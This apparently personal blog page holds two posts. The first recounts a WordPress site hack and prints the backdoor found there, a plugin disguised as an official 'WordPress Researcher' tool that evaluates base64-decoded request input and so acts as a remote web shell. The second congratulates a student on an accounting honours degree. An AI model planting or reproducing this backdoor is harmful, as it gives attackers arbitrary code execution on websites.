After surviving many hacking attempts I don’t get that sinking feeling in the pit of my stomach anymore after opening up a web site only to see that it has been hacked. In moments of panic us human beings are prone to blame someone else first rather than just tackle and fix a problem. This is normally when, without thinking, the normal person opens a ticket with tech support who then struggle to translate this new language consisting mostly of four letter words and not much else.

Suffice to say my web site had been a victim of hacker who had placed a plugin in my wp-content plugins folder that had ‘hidden’ all my other plugins (hence the message from Infinite WP) and placed some dodgy code on many pages.

It just so happens that I am hosted by a host (geddit?) of nice guys who have vast experience in this business. It also so happens that the universe decided that I hadn’t had enough troubles for one day so the water pipe running across one of my roofs decided to burst at the same time.

What did I do?

In the old days I would have ignored the water leak and concentrated on fixing the hack.

The new me though handed my problem over to Edward and Robert at Serv Hosting – they looked for a clean backup and restored the site as well as a clean up to date database – all in less time than it took me to fix my water leak.

The backdoor plugin was called research_plugin.php and contained a backdoor code hooked up to the theme.

<?php

/*
Plugin Name: WordPress Researcher
Plugin URI: http://wordpress.org/extend/plugins/
Description: WordPress research tool.
Author: wordpressdotorg
Author URI: http://wordpress.org/
Text Domain: wordpress-researcher
License: GPL version 2 or later – http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
Version: 2.2.4

Copyright 2013  wordpressdotorg

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
*/

function research_plugin()
{
if (isset($_REQUEST[‘CSSl’]))
{
eval(base64_decode($_REQUEST[‘CSSl’]));
}
return;
}

add_action(‘after_setup_theme’, ‘research_plugin’);
?>

So you wanna be an accountant?

Philip wrote his final exam for his BCom Accounting Honours course at the NMMU on Friday 17 October 2014.

His varsity career went like this:

  • 1st year – Human Movement Sciences – distinction after distinction after distinction and then a career crisis and a change to BCom accounting
  • 1st Year – Pass with flying colours
  • 2nd Year – Smooth Sailing
  • 3rd Year – Mountains of work and a degree
  • 4th (Honours) Year – 12 – 14 hours of work a day and we are sure of a good pass.

We thought it would be nice to illustrate the number of books and files required for the final year of a BCom Honours degree in Accounting with the image below:

Philip Straton Accounting Honours

So you wanna be an accountant?

Stupendous stuff, Philip – well done.

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